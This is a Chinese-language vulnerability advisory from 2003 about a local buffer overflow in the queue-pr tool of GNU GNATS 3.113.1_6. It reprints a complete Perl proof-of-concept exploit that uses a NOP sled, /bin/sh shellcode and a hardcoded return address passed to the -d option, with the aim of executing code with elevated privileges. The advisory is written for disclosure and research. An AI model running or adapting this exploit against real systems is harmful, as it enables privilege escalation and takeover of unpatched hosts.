GNU GNATS Queue-PR Database命令行选项本地缓冲区溢出漏洞
发布日期:2003-07-21
更新日期:2003-07-28
受影响系统:GNU GNATS 3.113.1_6
描述:
BUGTRAQ ID:
8232
GNATS是一款GNU漏洞、缺陷跟踪系统。
GNATS包含的Queue-PR工具在处理命令行选项时缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞触发缓冲区溢出攻击,可以root用户权限在系统上执行任意指令。
Queue-PR工具在处理database命令行选项("-d")时缺少边界检查,攻击者提交超长字符串给"-d"选项,执行Queue-PR可导致触发缓冲区溢出,精心构建提交数据可以root用户权限在系统上执行任意指令。
<*来源:inv@dtors
链接:
http://packetstormsecurity.nl/0307-exploits/DSR-gnats.pl
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
inv@dtors 提供了如下测试方法:
#!/usr/bin/perl
# Simple PoC exploit for gnats
# Tested on FreeBSD 5.0 with gnats-3.113.1_6
# if all works it gives gnats access
# Code by inv[at]dtors
$ret_hex = 0xbfbffb90;
$shellcode ="\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x52\x31\xc0\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
$nops = "\x90"x1110;
$ret = pack('l', $ret_hex);
$exploit = "$nops"."$shellcode"."$ret"."$ret";
local($ENV{'EXP'}) = $exploit;
print "\ndtors gnats exploit\n";
print "code by inv\n\n";
print ("Address: 0x", sprintf('%lx', $ret_hex),"\n\n");
system('/usr/local/libexec/gnats/queue-pr -d $EXP -O bbb');
建议:
厂商补丁:
GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.gnu.org浏览次数:2719
严重程度:0(网友投票)